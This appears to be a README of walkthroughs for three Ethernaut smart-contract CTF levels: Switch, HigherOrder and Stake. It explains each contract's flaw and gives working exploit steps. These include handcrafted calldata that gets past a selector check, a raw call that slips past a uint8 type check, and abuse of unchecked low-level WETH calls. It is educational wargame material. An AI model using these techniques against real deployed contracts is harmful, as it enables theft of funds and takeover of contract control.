This challenge is interesting and got us a knowledge about calldata encoding which gonna be worthy to understand. Here, we got a contract named Switch
where our task is to turn the boolean switchOn
to true. There are several functions given to us like, flipSwitch
, turnSwitchOn
and turnSwitchOff
, And two modifiers i.e onlyOff
and onlyThis
. Let's talk about them a bit like what they do, such that we will have a better idea in solving this challenge.
turnSwitchOn
and turnSwitchOff
are very similar as both of them turn switchOn
to true and false respectively. They both use onlyThis
modifier which seeks that the caller of these two functions should be the address itself, which is quite tricky to find a way against.
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
Now comes the flipSwitch
function which takes a parameter bytes memory _data
i.e some calldata which can be passed to this function. Thus, this function will help us in calling both turnSwitchOn
and turnSwitchOff
as all we have to do is form our calldata in such a way that we are able to call these two functions. It also uses onlyOff
function which I will talk about in a while.
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
Here I am pointing to a section within the solidity docs which is about function selectors and arguments encoding that be really helpful here. I would have explained you the same, but these docs have really done a fantastic job in explaining it: Function Selector and Argument encoding
If that confuses a bit, do take a help from chatGPT. And, if you are really sure what does it mean by function selectors, offsets, lengths and how various data types is used as arguments within the encoding i.e storing uint
and an array of bytes
is often different, then you are good to go!
As promised, now let's talk about the onlyOff
modifier. The code line bytes32[1] memory selector
indicates that the array selector will consists of just 1 element of bytes32.
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
Next comes the calldatacopy
within the assembly, what it does is copied data from the calldata to the memory. Keep in mind that the calldata is the data we will be providing to the EVM, and calldatacopy takes that data and stores in its memory. Now there are several parameters which are useful here, selector
tells from where the starting position in memory at where the data will get copied to, 68
is the offset which tells the starting position in calldata where we should start copying from, and 4
is the length that tells how much bytes of data to copy.
Thus calldatacopy(selector, 68, 4)
means that -> From the given calldata, skip first 67 bytes and copy 4 bytes of data from 68th byte, then store it in selector within the memory.
Next comes the require
statement which checks whether the data within the selector (which we copied using calldatacopy) is equal to the offSelector
or not. Just letting you know, offSelector
is mentioned right below the boolean switchOn
and it's consists of first 4 bytes of the keccak hash of turnSwitchOff
function. Usually, function selectors are first 4 bytes of any function's keccak hash. Thus, if the data within the selector contains the function selector of turnSwitchOff
then the require condition be true.
Now, the question is how to make that require statement true. The answer is right there in calldatacopy
, all we need to do is pass such type of data that at 68th byte the function selector of turnSwitchOff
function is present. Plus, we have to call turnSwitchOn
in the same calldata as that's what the main motive is.
Now, let's create our calldata in order to solve this challenge:
-
First we will include the function selector of
flipSwitch
function. For this all you need to do is, get a keccak256 hash offlipSwitch(bytes)
and take first 4 bytes of it i.e 0x30c13ade. Thus, our first 4 bytes of calldata will look like this ->30c13ade
. -
Next, we will be including the offset here as
flipSwitch
takes data in the form of bytes and we have to run thatturnSwitchOn
function. Thus, our data will contains the offset where the function selector ofturnSwitchOn
is present such that EVM could pick it up easily. Now, whoever is thinking what about theturnSwitchOff
which we need to pass through the modifier, it will be just for a show as we don't really want to run this function just include it. Hence the offset gonna be 96 bytes i.e will be pointing atturnSwitchOn
(length + function selector). It will look like this ->0000000000000000000000000000000000000000000000000000000000000060
-
Here, we can't include
turnSwitchOff
function selector as it should appear on 68th byte according to theonlyOff
modifier check. Thus, will leave it empty i.e 32 bytes of zeroes ->0000000000000000000000000000000000000000000000000000000000000000
-
Now, we are at 68th byte according to the offset related to
calldatacopy
and hence will include the funtion selector ofturnSwitchOff
function by taking the first 4 bytes of keccak hash ofturnSwitchOff()
and padding it with zeroes to make it 32 bytes value. It looks like this ->20606e1500000000000000000000000000000000000000000000000000000000
-
Here, we are at the 96th byte as per the offset on 2nd point. There's a thing I would like to say as some might have confusion related to the statement, "how we are at 96th byte here, despite the fact that it should be 100th". Actually, for
calldatacopy
the calldata starts right from the function selector offlipSwitch
whereas when we are inside theflipSwitch
function, the calldata starts from the offset i.e 0x00...60, hope that clears the case. Moreover, here we will be inlcuding length first and then the actual data, as when one says about pointing at any data, it points to the length if it exists. Thus, it will look like this ->0000000000000000000000000000000000000000000000000000000000000004
-
At last, the function selector of
turnSwitchOn()
function ->76227e1200000000000000000000000000000000000000000000000000000000
-
Here's a recap of all those combined values:
// Calldata layout ->
// 30c13ade -> function selector for flipSwitch(bytes memory data)
// 0000000000000000000000000000000000000000000000000000000000000060 -> offset for the data field -> 0x60 = 96 bytes
// 0000000000000000000000000000000000000000000000000000000000000000 -> empty stuff so we can have bytes4(keccak256("turnSwitchOff()")) at 64 bytes
// 20606e1500000000000000000000000000000000000000000000000000000000 -> bytes4(keccak256("turnSwitchOff()"))
// 0000000000000000000000000000000000000000000000000000000000000004 -> length of data field -> 96th byte starts from here
// 76227e1200000000000000000000000000000000000000000000000000000000 -> functin selector for turnSwitchOn()
Hence we got the combined calldata that we gotta pass: 30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000
Now, go to your browser's console and store this calldata value in a variable let's say attack
Send this transaction and submit!
await sendTransaction({
from: player,
to: contract.address,
data: attack
})
For reference -> Challenge | Solution
This challenge is pretty easy if you have some knowledge about low-level calls and calldata. Let's dive into the challenge and see what we got here. We are given a contract named HigherOrder
which consists of two functions registerTreasury
and claimLeadership
. Our main goal is to become the commander of this contract by executing the claimLeadership
function but there's a catch, it needs the value of treasury to be greater than 255. Luckily, registerTreasury
helps in updating the treasury value but it takes a uint8
integer, means we can't really pass value greater than 255 as solidity type-checker will throw us an error regarding that.
function registerTreasury(uint8) public {
assembly {
sstore(treasury.slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
However, a closer look within the registerTreasury
function will show you rather than using normal solidity syntax, the contract is using inline-assembly to store the value of treasury directly into treasury slot. calldataload(4)
loads 32 bytes of data starting from 4th byte. Why 4th byte? Because the first 4 bytes are used to store the function selector of the function being called. Thus, the 4th byte onwards will be the value of the uint8
integer we are passing to the registerTreasury
function. Moreover, these low-level calls don't use any type checker and thus we can pass here any value greater than 255 by using a low level call.
Let's solve the challenge:
First, let's create the low-level call. We need the function selector of the function we are calling + the value and then will store it in a variable.
const data = web3.eth.abi.encodeFunctionSignature('registerTreasury(uint256)') + web3.utils.leftPad(web3.utils.toHex(256), 64).substring(2)
Here, we used web3.eth.abi.encodeFunctionSignature
to get the function selector of registerTreasury
function and then first converted the value 256
to Hexadecimal characters and then padded to make it of 64 hexadecimal characters (i.e. 32 bytes). We used substring(2)
to remove the 0x
from the start of the hex value. Finally, we concatenated both of them to get the calldata.
Now, let's create the transaction with which we gonna pass this data:
await sendTransaction({
from: player,
to: instance,
data: data
})
At last, call the claimLeadership
function and submit!
await contract.claimLeadership()
For Reference -> Challenge | Malicious Contract
This challenge is interesting and tells about the low-level calls we often make in respective of transfer
and send
functions.
We are given a contract named Stake
which let us stake our ETH
and WETH
. You can read more about WETH here.
Our main goal here is to fulfill these 4 requirements:
- Contract's balance > 0
totalStaked
> contract's balance- You must be a staker
- Your staked balannce = 0
Now, let's take a look at some of the functions and other stuff provided within Staked
contract:
totalStaked
: It tells about the total amount of ETH
and WETH
staked by all the stakers.
UserStake
: It's a mapping which maps the address of the staker to the amount of ETH
and WETH
staked by him/her.
Stakers
: It's a mapping which maps the address of the staker to a boolean value which tells whether the address is a staker or not.
address public WETH
: It's a public variable which stores the address of the WETH
contract that will be used to handle WETH
tokens.
Functions:
StakeETH
: This function is quite straightforward with just 4 code lines. First checks whether the amount of ETH
being staked is greater than 0.001, then adds the value to totalStaked
and also adds it to the mapping UserStake
. At last, it sets the Stakers
mapping to true for that particular user/player.
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
StakeWETH
: This function does the similar thing but first let's this contract approve our tokens such that it can transfer them, and then use a low-level call for it but that's where the catch is. If you notice, the call is used tho but it wasn't checked whether that call failed or not. There's a thing with low-level calls and that's important to take care of, as they don't throw any error if the call fails. Plus, it even don't use payable
keyword. Thus, we can use all this to our advantage.
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
Unstake
: This function first checks whether the user is trying to stake more than he did, then decreases the amount from both UserStake
and totalStaked
. It also does that same mistake of not checking whether the call failed or not.
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
bytesToUint
: This function is used to convert the bytes to uint. The way it works is, it directly loads the value part of that bytes, as a byte is stored in the form of length + value
and that's what makes it bytes. Thus, it's just we need to extract that value part into the memory and as returns
is already decided to be uint256
thus it will convert that value part into uint
.
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
So, we got all the related information about the functions and the vulnerability too. Now the task is how to take advantage of it and fulfill all those requirements.
Although, the solution is quite easy and maybe you even figured it out. First, we will be staking ether greater than 0.001 ether and then immediately unstake it, this will fulfill our 3rd and 4th requirements i.e we will be a staker and our balance will be 0.
Next, we will be using a malacious contract that will be staking WETH
tokens greater than 0.001 ether but in actual passing no msg.value
just that amount
. Contract will feel like some tokens are staked and make that call but as it will fail and there's nothing to check that failure, we are good to and our 1st and 2nd requirements will be fulfilled easily.
For the first part, just get to your remix, copy the code and address, use the metamask inject provider and then do the thing we discussed. Stake 0.001 ether + 1 wei and then unstake it.
For the second part, deploy this contract and then call the pwn
function. You will notice that the balance of the contract will be increased by the constructor and we know about that the call failure and thus the requirements will be fulfilled.
At last, submit the instance and you are good to go!
Contributions to the Ethernaut_Practice project are welcome! If you have a solution to a challenge that is not yet included, or if you have suggestions for improvements, feel free to open a pull request.